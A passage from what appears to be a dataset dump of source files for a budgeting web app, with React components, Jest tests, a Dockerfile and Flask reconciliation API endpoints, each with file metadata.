<Form>\n <Field component={MoneyInputField} name='money' {...args} />\n <br />\n <Field name='money' />\n <br />\n <button type='submit'>Submit</button>\n </Form>\n </Formik>\n);\n\nexport const ZeroValue = Template.bind({});\n\nexport const WholeValue = Template.bind({});\nWholeValue.args = { initialValue: 200 };\n\nexport const FractionalValue = Template.bind({});\nFractionalValue.args = { initialValue: 49 };\n\nexport const DecimalValue = Template.bind({});\nDecimalValue.args = { initialValue: 217 };\n\nexport const LargeValue = Template.bind({});\nLargeValue.args = { initialValue: 8675309 };\n\nexport const NegativeValue = Template.bind({});\nNegativeValue.args = { initialValue: -314159 };\n\nexport const Euro = Template.bind({});\nEuro.args = DecimalValue.args;\nEuro.parameters = { currency: 978 };\n\nexport const ZeroDigits = Template.bind({});\nZeroDigits.args = { initialValue: 8675309 };\nZeroDigits.parameters = { currency: 152 }; // CLP\n\nexport const ThreeDigits = Template.bind({});\nThreeDigits.args = { initialValue: 8675309 };\nThreeDigits.parameters = { currency: '048' }; // BHD\n\nexport const FourDigits = Template.bind({});\nFourDigits.args = { initialValue: 8675309 };\nFourDigits.parameters = { currency: 990 }; // CLF\n" }, { "alpha_fraction": 0.7586206793785095, "alphanum_fraction": 0.7758620977401733, "avg_line_length": 18.33333396911621, "blob_id": "b56f8bc00cd5960b37ff0108b81d2d3d60a79844", "content_id": "24662d5ad82b58cfa50ecd91759f118cdb501f6a", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Dockerfile", "length_bytes": 116, "license_type": "permissive", "max_line_length": 41, "num_lines": 6, "path": "/backend/Dockerfile", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "FROM tiangolo/uwsgi-nginx-flask:python3.8\n\nCOPY requirements.txt .\nRUN pip install -r requirements.txt\n\nCOPY . /app\n" }, { "alpha_fraction": 0.6858237385749817, "alphanum_fraction": 0.6896551847457886, "avg_line_length": 25.769229888916016, "blob_id": "bda9530c4963ed510ceed4b96f3caa09bf3c293f", "content_id": "07c0e53bed79e6b553136b74fa3553ec8a08ba85", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1044, "license_type": "permissive", "max_line_length": 96, "num_lines": 39, "path": "/webapp/src/common/contexts/snackbar/snackbar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Snackbar from '@material-ui/core/Snackbar';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nconst SnackbarContext = React.createContext();\n\nconst useSnackbar = () => {\n const context = React.useContext(SnackbarContext);\n if (context === undefined) {\n throw new Error('useSnackbar must be used within a SnackbarContextProvider');\n }\n return context;\n};\n\nconst SnackbarContextProvider = ({ children }) => {\n const [message, setMessage] = React.useState(null);\n\n const showMessage = (msg) => setMessage(msg);\n const hideMessage = () => setMessage(null);\n\n return (\n <>\n <SnackbarContext.Provider value={showMessage}>{children}</SnackbarContext.Provider>\n\n <Snackbar\n autoHideDuration={3000}\n message={message}\n onClose={hideMessage}\n open={Boolean(message)}\n />\n </>\n );\n};\n\nSnackbarContextProvider.propTypes = {\n children: PropTypes.oneOfType([PropTypes.node, PropTypes.arrayOf(PropTypes.node)]).isRequired,\n};\n\nexport { SnackbarContextProvider, useSnackbar };\n" }, { "alpha_fraction": 0.6157115697860718, "alphanum_fraction": 0.6353510022163391, "avg_line_length": 34.352333068847656, "blob_id": "13ade491fcf52cc2595f91e24e66885bfda43b21", "content_id": "32897da03e9caeaaaef49cefdf8812cda1bde477", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 6823, "license_type": "permissive", "max_line_length": 100, "num_lines": 193, "path": "/webapp/src/features/budgets/components/__tests__/ModifyAnnualExpenseDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ModifyAnnualExpenseDialog from '../ModifyAnnualExpenseDialog';\n\nconst render = (expense, { get = 200, put = 200 } = {}) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet(`/api/budget-annual-expenses/${expense.id}`).reply(get, expense);\n mockApi.onPut(`/api/budget-annual-expenses/${expense.id}`).reply(put);\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { retry: false } },\n });\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route\n path='/expenses/:id/modify-annual/:expenseId'\n element={<ModifyAnnualExpenseDialog budgetId='5' periods={4} />}\n />\n </Routes>\n </QueryClientProvider>,\n { route: `/expenses/5/modify-annual/${expense.id}` },\n ),\n invalidateQueries,\n mockApi,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch expense', async () => {\n const { history } = render({ id: 8 }, { get: 404 });\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify annual expense/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify annual expense/i }),\n ).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/expenses/5'));\n});\n\ntest('should prevent submission when required fields are missing', async () => {\n render({ id: 8, name: 'Test Expense', envelopeId: 3, amount: 1234, details: [] });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Expense'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveValue('Category 2:Envelope 3'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n\n userEvent.clear(screen.getByRole('textbox', { name: /name/i }));\n userEvent.tab();\n\n const saveButton = screen.getByRole('button', { name: /save/i });\n userEvent.click(saveButton);\n await (await waitFor(() => expect(screen.getByText(/required/i)))).toBeInTheDocument();\n expect(saveButton).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n render({ id: 8, name: 'Test Expense', envelopeId: 3, amount: 1234, details: [] }, { put: 400 });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Expense'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveValue('Category 2:Envelope 3'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'mod');\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.getByText(/unable to modify annual expense/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n name: 'Test Expense',\n envelopeId: 3,\n amount: 1234,\n details: [],\n });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Expense'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveValue('Category 2:Envelope 3'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n expect(screen.getByRole('checkbox', { name: /use period-specific amounts/i })).toBeDisabled();\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), '{selectall}Expense Name');\n userEvent.type(\n screen.getByRole('textbox', { name: /envelope/i }),\n '{selectall}Category 2:Envelope 4',\n );\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$1,406.27' },\n });\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify annual expense/i }),\n ).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.put[0].data)).toEqual({\n name: 'Expense Name',\n envelopeId: 4,\n amount: 140627,\n details: [],\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['budget-annual-expense', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'budget-annual-expenses',\n {\n budgetId: '5',\n },\n ]);\n});\n\ntest('should allow period details to be modified', async () => {\n const { mockApi } = render({\n id: 8,\n name: 'Test Expense',\n envelopeId: 3,\n amount: 4600,\n details: [\n { name: 'First', amount: 1000 },\n { name: 'Second', amount: 1200 },\n { name: '', amount: 1100 },\n { name: 'Last', amount: 1300 },\n ],\n });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Expense'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /envelope/i })).toHaveValue('Category 2:Envelope 3'),\n );\n await waitFor(() =>\n expect(screen.getAllByRole('textbox', { name: /amount/i })[0]).toHaveValue('$46.00'),\n );\n\n expect(screen.getByRole('checkbox', { name: /use period-specific amounts/i })).toBeDisabled();\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n expect(amounts).toHaveLength(5);\n fireEvent.change(amounts[3], { target: { value: '$110.00' } });\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() => expect(mockApi.history.put).toHaveLength(1));\n expect(JSON.parse(mockApi.history.put[0].data)).toEqual({\n name: 'Test Expense',\n envelopeId: 3,\n amount: 14500,\n details: [\n { name: 'First', amount: 1000 },\n { name: 'Second', amount: 1200 },\n { name: '', amount: 11000 },\n { name: 'Last', amount: 1300 },\n ],\n });\n});\n" }, { "alpha_fraction": 0.5984405279159546, "alphanum_fraction": 0.6023392081260681, "avg_line_length": 29.176469802856445, "blob_id": "b67f8dc96cb77bc308095d3f99fd5cff2abdc9bb", "content_id": "6de3d184f1c748a48c12be3ffc0cb1fbd8322673", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 513, "license_type": "permissive", "max_line_length": 76, "num_lines": 17, "path": "/webapp/src/App.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { render } from '@testing-library/react';\nimport mediaQuery from 'css-mediaquery';\nimport React from 'react';\n\nimport App from './App';\n\ndescribe('App', () => {\n it('should render with dark mode preference', () => {\n window.matchMedia = (query) => ({\n matches: mediaQuery.match(query, { 'prefers-color-scheme': 'dark' }),\n addListener: () => 0,\n removeListener: () => 0,\n });\n // Dark mode doesn't add any named classes, so not sure how to verify...\n render(<App />);\n });\n});\n" }, { "alpha_fraction": 0.7365269660949707, "alphanum_fraction": 0.7365269660949707, "avg_line_length": 30.3125, "blob_id": "5278bcc89398799ecf872199a73aa554ff2013a9", "content_id": "addeaf93260e9a611b4e5499d50c06db919300b4", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1503, "license_type": "permissive", "max_line_length": 81, "num_lines": 48, "path": "/webapp/src/features/budgets/components/ModifyPeriodicIncomeDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\nimport { useParams } from 'react-router-dom';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport useFetchPeriodicIncome from '../hooks/useFetchPeriodicIncome';\nimport useModifyPeriodicIncome from '../hooks/useModifyPeriodicIncome';\nimport PeriodicIncomeForm from './PeriodicIncomeForm';\n\nconst ModifyPeriodicIncomeDialog = ({ budgetId, onExitNavigateTo }) => {\n const navigate = useNavigateKeepingSearch();\n const { incomeId } = useParams();\n const { data, isLoading } = useFetchPeriodicIncome(\n { id: incomeId },\n { onError: () => navigate(onExitNavigateTo) },\n );\n const income = {\n ...PeriodicIncomeForm.initialValues,\n ...data,\n };\n const { mutate } = useModifyPeriodicIncome(budgetId);\n\n return (\n <FormDialog\n actionText='Save'\n enableReinitialize\n FormComponent={PeriodicIncomeForm}\n initialValues={income}\n isLoading={isLoading}\n onExitNavigateTo={onExitNavigateTo}\n onSubmit={mutate}\n title='Modify Periodic Income'\n validationSchema={PeriodicIncomeForm.validationSchema}\n />\n );\n};\n\nModifyPeriodicIncomeDialog.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n onExitNavigateTo: PropTypes.string,\n};\n\nModifyPeriodicIncomeDialog.defaultProps = {\n onExitNavigateTo: '../..',\n};\n\nexport default ModifyPeriodicIncomeDialog;\n" }, { "alpha_fraction": 0.6340341567993164, "alphanum_fraction": 0.6399474143981934, "avg_line_length": 28.269229888916016, "blob_id": "8d1f1b1e2cecdae5fb396cb49dc97d7d9c3075b7", "content_id": "24f956dd100d4a7c17a7c2782aae4c5f9c10bada", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1522, "license_type": "permissive", "max_line_length": 93, "num_lines": 52, "path": "/webapp/src/common/hooks/useErrorMessage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import MuiLink from '@material-ui/core/Link';\nimport React from 'react';\nimport { Link as RouterLink, useLocation } from 'react-router-dom';\n\nconst authErrors = [401, 403];\n\nconst noByStatus = {};\n\n// eslint-disable-next-line react/prop-types\nconst defaultAuthMessage = (error, location) => (\n <span>\n {'You are no longer logged in, please '}\n <MuiLink color='secondary' component={RouterLink} state={{ from: location }} to='/login'>\n log in\n </MuiLink>\n {' again'}\n </span>\n);\n\nconst getMessage = (error, location, message) => {\n if (typeof message === 'function') {\n return message(error, location);\n }\n return message;\n};\n\nexport default function useErrorMessage({\n auth = defaultAuthMessage,\n byStatus = noByStatus,\n request = 'Unable to perform requested operation',\n server = 'An error occurred on the server, please try again',\n}) {\n const location = useLocation();\n return React.useCallback(\n (error) => {\n if (!error) return null;\n if (typeof error === 'object' && error.response) {\n if (byStatus[error.response.status]) {\n return getMessage(error, location, byStatus[error.response.status]);\n }\n if (error.response.status >= 500) {\n return getMessage(error, location, server);\n }\n if (authErrors.includes(error.response.status)) {\n return getMessage(error, location, auth);\n }\n }\n return getMessage(error, location, request);\n },\n [auth, byStatus, request, server, location],\n );\n}\n" }, { "alpha_fraction": 0.5428240895271301, "alphanum_fraction": 0.6817129850387573, "avg_line_length": 31, "blob_id": "652367db2c05cd571d102be8a7f78a1b62114dec", "content_id": "6c227716e87a02cf16a34a1ed6e11cc13ef77006", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 864, "license_type": "permissive", "max_line_length": 82, "num_lines": 27, "path": "/webapp/src/features/reconciliations/utils/calculateNextReconciliationDates.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import calculateNextReconciliationDates from './calculateNextReconciliationDates';\n\ntest('first of month is ending date', () => {\n expect(calculateNextReconciliationDates('2021-01-01')).toEqual({\n beginningDate: '2021-01-02',\n endingDate: '2021-02-01',\n });\n expect(calculateNextReconciliationDates('2021-12-01')).toEqual({\n beginningDate: '2021-12-02',\n endingDate: '2022-01-01',\n });\n});\n\ntest('last of month is ending date', () => {\n expect(calculateNextReconciliationDates('2021-01-31')).toEqual({\n beginningDate: '2021-02-01',\n endingDate: '2021-02-28',\n });\n expect(calculateNextReconciliationDates('2021-02-28')).toEqual({\n beginningDate: '2021-03-01',\n endingDate: '2021-03-28',\n });\n expect(calculateNextReconciliationDates('2021-03-31')).toEqual({\n beginningDate: '2021-04-01',\n endingDate: '2021-04-30',\n });\n});\n" }, { "alpha_fraction": 0.7106382846832275, "alphanum_fraction": 0.7106382846832275, "avg_line_length": 22.5, "blob_id": "084889309b6d73dea605928143a469a18494d194", "content_id": "c6f447fe5f2350f16186c730a965557db27a74ad", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 470, "license_type": "permissive", "max_line_length": 57, "num_lines": 20, "path": "/webapp/src/common/components/AppBar/NavBackIconButton.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import ArrowBackIcon from '@material-ui/icons/ArrowBack';\nimport React from 'react';\n\nimport routePropType from '../../utils/route-prop-type';\nimport NavIconButton from './NavIconButton';\n\nconst NavBackIconButton = (props) => (\n <NavIconButton\n aria-label='go to previous page'\n icon={<ArrowBackIcon />}\n text='Go to previous page'\n {...props}\n />\n);\n\nNavBackIconButton.propTypes = {\n dest: routePropType.isRequired,\n};\n\nexport default NavBackIconButton;\n" }, { "alpha_fraction": 0.7017543911933899, "alphanum_fraction": 0.7017543911933899, "avg_line_length": 20.375, "blob_id": "e2a80c20d46f769aba3dd6b4a2458221dcd457bd", "content_id": "6f9b54b881c06f745d8933469d3966af2c2499ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 171, "license_type": "permissive", "max_line_length": 38, "num_lines": 8, "path": "/backend/underbudget/schemas/balance.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Balance schema \"\"\"\nfrom marshmallow import Schema, fields\n\n\nclass BalanceQuerySchema(Schema):\n \"\"\" Balance query schema \"\"\"\n\n date = fields.Date(required=False)\n" }, { "alpha_fraction": 0.7062785625457764, "alphanum_fraction": 0.709886908531189, "avg_line_length": 33.641666412353516, "blob_id": "7084c797e60e132511bd41502d6dccb399f8ab68", "content_id": "49919a4a5b38092c5e178d58998adf8a703829aa", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4157, "license_type": "permissive", "max_line_length": 88, "num_lines": 120, "path": "/backend/underbudget/views/reconciliations.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" REST APIs for reconciliations \"\"\"\nfrom datetime import datetime\nfrom typing import Any, Dict\nfrom flask import Blueprint, Flask\nfrom werkzeug.exceptions import BadRequest\n\nfrom underbudget.common.decorators import use_args, with_pagination\nfrom underbudget.database import db\nfrom underbudget.models.account import AccountModel\nfrom underbudget.models.reconciliation import ReconciliationModel\nfrom underbudget.models.transaction import AccountTransactionModel\nimport underbudget.schemas.reconciliation as schema\nfrom underbudget.schemas.transaction import AccountTransactionSearchSchema\n\n\nblueprint = Blueprint(\"reconciliations\", __name__)\n\n\ndef register(app: Flask):\n \"\"\" Registers the blueprint \"\"\"\n app.register_blueprint(blueprint)\n\n\[email protected](\"/api/accounts/<int:account_id>/reconciliations\", methods=[\"POST\"])\n@use_args(schema.CreateReconciliationSchema())\ndef create_reconciliation(args: Dict[str, Any], account_id: int):\n \"\"\" Creates a new reconciliation \"\"\"\n AccountModel.query.get_or_404(account_id)\n now = datetime.now()\n\n if not args[\"ending_date\"] > args[\"beginning_date\"]:\n raise BadRequest(\"Ending date must occur after beginning date\")\n\n reconciliation = ReconciliationModel(\n account_id=account_id,\n beginning_balance=args[\"beginning_balance\"],\n beginning_date=args[\"beginning_date\"],\n ending_balance=args[\"ending_balance\"],\n ending_date=args[\"ending_date\"],\n created=now,\n last_updated=now,\n )\n db.session.add(reconciliation)\n db.session.flush()\n\n try:\n AccountTransactionModel.update_reconciliation_id(\n args[\"transaction_ids\"], reconciliation.id\n )\n except Exception as err:\n db.session.rollback()\n raise err\n\n reconciliation.save()\n return {\"id\": int(reconciliation.id)}, 201\n\n\[email protected](\"/api/accounts/<int:account_id>/reconciliations\", methods=[\"GET\"])\n@with_pagination\ndef get_reconciliations(account_id: int, page: int, size: int):\n \"\"\" Retrieves all reconciliations for the account \"\"\"\n return schema.ReconciliationPageSchema().dump(\n ReconciliationModel.find_by_account_id(account_id, page, size)\n )\n\n\[email protected](\"/api/accounts/<int:account_id>/reconciliations/last\", methods=[\"GET\"])\ndef get_last_reconciliation(account_id: int):\n \"\"\" Retrieves last reconciliation for the account \"\"\"\n return schema.BaseReconciliationSchema().dump(\n ReconciliationModel.find_last_by_account_id(account_id)\n )\n\n\[email protected](\n \"/api/accounts/<int:account_id>/unreconciled-transactions\", methods=[\"GET\"]\n)\n@with_pagination\ndef get_unreconciled_transactions(account_id: int, page: int, size: int):\n \"\"\" Retrieves transactions in the reconciliation \"\"\"\n return AccountTransactionSearchSchema().dump(\n AccountTransactionModel.search(\n page=page,\n size=size,\n account_id={\"values\": [account_id]},\n reconciliation_id={\"is_null\": True},\n )\n )\n\n\[email protected](\"/api/reconciliations/<int:reconciliation_id>\", methods=[\"GET\"])\ndef get_reconciliation(reconciliation_id: int):\n \"\"\" Retrieves the reconciliation \"\"\"\n return schema.BaseReconciliationSchema().dump(\n ReconciliationModel.query.get_or_404(reconciliation_id)\n )\n\n\[email protected](\n \"/api/reconciliations/<int:reconciliation_id>/transactions\", methods=[\"GET\"]\n)\n@with_pagination\ndef get_reconciliation_transactions(reconciliation_id: int, page: int, size: int):\n \"\"\" Retrieves transactions in the reconciliation \"\"\"\n return AccountTransactionSearchSchema().dump(\n AccountTransactionModel.search(\n page=page,\n size=size,\n reconciliation_id={\"values\": [reconciliation_id]},\n )\n )\n\n\[email protected](\"/api/reconciliations/<int:reconciliation_id>\", methods=[\"DELETE\"])\ndef delete_reconciliation(reconciliation_id: int):\n \"\"\" Deletes the reconciliation \"\"\"\n reconciliation = ReconciliationModel.query.get_or_404(reconciliation_id)\n AccountTransactionModel.remove_reconciliation_id(reconciliation_id)\n reconciliation.delete()\n return {}, 204\n" }, { "alpha_fraction": 0.6330662965774536, "alphanum_fraction": 0.6464174389839172, "avg_line_length": 34.109375, "blob_id": "b3e5b3ca5011432cbf601691f40d59014020df5e", "content_id": "4fd8f2c8ff64cdf08f91af19f106d5e9e5556a93", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 4494, "license_type": "permissive", "max_line_length": 97, "num_lines": 128, "path": "/webapp/src/features/budgets/components/__tests__/ModifyPeriodicIncomeDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { fireEvent, screen, waitFor } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ModifyPeriodicIncomeDialog from '../ModifyPeriodicIncomeDialog';\n\nconst render = (income, { get = 200, put = 200 } = {}) => {\n setSelectedLedger('2');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet(`/api/budget-periodic-incomes/${income.id}`).reply(get, income);\n mockApi.onPut(`/api/budget-periodic-incomes/${income.id}`).reply(put);\n\n const queryClient = new QueryClient({\n defaultOptions: { queries: { retry: false } },\n });\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route\n path='/incomes/:id/modify-periodic/:incomeId'\n element={<ModifyPeriodicIncomeDialog budgetId='5' />}\n />\n </Routes>\n </QueryClientProvider>,\n { route: `/incomes/5/modify-periodic/${income.id}` },\n ),\n invalidateQueries,\n mockApi,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch income', async () => {\n const { history } = render({ id: 8 }, { get: 404 });\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify periodic income/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify periodic income/i }),\n ).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/incomes/5'));\n});\n\ntest('should prevent submission when required fields are missing', async () => {\n render({ id: 8, name: 'Test Income', amount: 1234 });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Income'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n\n userEvent.clear(screen.getByRole('textbox', { name: /name/i }));\n userEvent.tab();\n\n const saveButton = screen.getByRole('button', { name: /save/i });\n userEvent.click(saveButton);\n await (await waitFor(() => expect(screen.getByText(/required/i)))).toBeInTheDocument();\n expect(saveButton).toBeDisabled();\n});\n\ntest('should show error message when request error', async () => {\n render({ id: 8, name: 'Test Income', amount: 1234 }, { put: 400 });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Income'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), 'mod');\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.getByText(/unable to modify periodic income/i)).toBeInTheDocument(),\n );\n});\n\ntest('should close and refresh query when successful modify', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n name: 'Test Income',\n amount: 1234,\n });\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /name/i })).toHaveValue('Test Income'),\n );\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /amount/i })).toHaveValue('$12.34'),\n );\n\n userEvent.type(screen.getByRole('textbox', { name: /name/i }), '{selectall}Income Name');\n fireEvent.change(screen.getByRole('textbox', { name: /amount/i }), {\n target: { value: '$1,406.27' },\n });\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(\n screen.queryByRole('heading', { name: /modify periodic income/i }),\n ).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.put[0].data)).toEqual({\n name: 'Income Name',\n amount: 140627,\n });\n expect(invalidateQueries).toHaveBeenCalledWith(['budget-periodic-income', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith([\n 'budget-periodic-incomes',\n {\n budgetId: '5',\n },\n ]);\n});\n" }, { "alpha_fraction": 0.739130437374115, "alphanum_fraction": 0.739130437374115, "avg_line_length": 22, "blob_id": "ef6deaf8fc764531abb1e2af83f3e8926bd3fe79", "content_id": "c3cdf6cd494944e291a6901a5ddae95f6d779ffd", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 46, "license_type": "permissive", "max_line_length": 37, "num_lines": 2, "path": "/backend/uwsgi.ini", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "[uwsgi]\nmodule = underbudget.app:create_app()\n" }, { "alpha_fraction": 0.5951164364814758, "alphanum_fraction": 0.5973878502845764, "avg_line_length": 30.446428298950195, "blob_id": "6dd800c2238e4d959e48b571e42be6e94173a4a4", "content_id": "9064e22bd5917d79474c70b1eb349d5d604928b2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1761, "license_type": "permissive", "max_line_length": 98, "num_lines": 56, "path": "/webapp/src/features/transactions/components/TransactionForm/SplitList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport Grid from '@material-ui/core/Grid';\nimport AddIcon from '@material-ui/icons/Add';\nimport { FieldArray } from 'formik';\nimport React from 'react';\nimport PropTypes from 'prop-types';\n\nimport AddBalancingSplitButton from './AddBalancingSplitButton';\n\n// Can't delete any split if there's only 2 (doesn't matter what type)\nconst disableRemove = ({ accountTransactions, envelopeTransactions }) => {\n return accountTransactions.length + envelopeTransactions.length <= 2;\n};\n\nconst getBalanceKey = (name) =>\n name === 'accountTransactions' ? 'accountAmountToBalance' : 'envelopeAmountToBalance';\n\nconst SplitList = ({ addText, blank, name, SplitComponent }) => {\n return (\n <FieldArray name={name}>\n {({ form: { values }, push, remove }) => (\n <>\n {values[name].map((_, i) => (\n <SplitComponent\n disableRemove={disableRemove(values)}\n index={i}\n // eslint-disable-next-line react/no-array-index-key\n key={i}\n onRemove={() => remove(i)}\n />\n ))}\n <Grid item xs={12}>\n <Button\n color='secondary'\n onClick={() => push(blank)}\n startIcon={<AddIcon />}\n variant='contained'\n >\n {addText}\n </Button>\n <AddBalancingSplitButton balanceKey={getBalanceKey(name)} blank={blank} push={push} />\n </Grid>\n </>\n )}\n </FieldArray>\n );\n};\n\nSplitList.propTypes = {\n addText: PropTypes.string.isRequired,\n blank: PropTypes.shape({}).isRequired,\n name: PropTypes.string.isRequired,\n SplitComponent: PropTypes.elementType.isRequired,\n};\n\nexport default SplitList;\n" }, { "alpha_fraction": 0.6843255162239075, "alphanum_fraction": 0.6843255162239075, "avg_line_length": 32.907405853271484, "blob_id": "1c7a9156d478ad9c43c40bcaf07e3aa35922dca6", "content_id": "23c1d4789eaaa3f3b286c637200ea4871193d0f5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1831, "license_type": "permissive", "max_line_length": 97, "num_lines": 54, "path": "/webapp/src/features/budgets/components/IncomesList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import IconButton from '@material-ui/core/IconButton';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemSecondaryAction from 